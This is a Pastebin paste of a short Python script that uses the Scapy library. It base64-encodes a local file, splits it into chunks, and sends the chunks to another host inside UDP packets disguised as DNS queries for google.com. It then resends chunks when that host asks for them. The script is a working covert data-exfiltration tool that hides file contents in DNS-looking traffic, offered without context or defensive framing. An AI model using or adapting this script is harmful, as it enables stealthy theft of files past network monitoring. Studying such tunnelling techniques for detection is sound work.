Advertisement
Guest User

Untitled

a guest
Oct 14th, 2019
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.22 KB | None | 0 0
  1. from scapy.all import *
  2. import random
  3. import base64
  4.  
  5. num=0
  6. l1= IP(ttl=255, src="192.168.43.42", dst="192.168.43.220")
  7. l2= UDP(sport=random.randint(6000,8999), dport=53)
  8. chunks=[]
  9. with open('trump.txt', "br") as f:
  10.     file_read=base64.b64encode(f.read())
  11.     while len(file_read)>1400:
  12.         chunk = file_read[:1400]
  13.         chunks.append(chunk)
  14.         # a=base64.b64encode(str(num))
  15.         # raw=a,chunk
  16.         l3 = DNS(rd=1, qd=DNSQR(qname="google.com", qtype="A"), id=num)
  17.         l4=Raw(load=chunk)
  18.         x= sr1(l1/l2/l3/l4)
  19.         num+=1
  20.         file_read=file_read[1400:]
  21.         if len(file_read)<1400:
  22.             chunk=file_read
  23.             l3 = DNS(rd=1, qd=DNSQR(qname="google.com", qtype="A"), id=num)
  24.             l4=Raw(load=chunk)
  25.             x= sr1(l1/l2/l3/l4)
  26.  
  27. pkts = sniff( filter = "host 192.168.43.220", timeout=30)
  28.  
  29. while pkts:
  30.     for pkt in pkts:
  31.         if not ARP in pkt:
  32.                 if pkt[IP].src=='192.168.43.220':
  33.                     seq=pkt[3].id
  34.                     chunk=chunks[seq]
  35.                     l3 = DNS(rd=1, qd=DNSQR(qname="google.com", qtype="A"), id=seq)
  36.                     l4 = Raw(load=chunk)
  37.                     x = sr1(l1 / l2 / l3 / l4)
  38.     break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement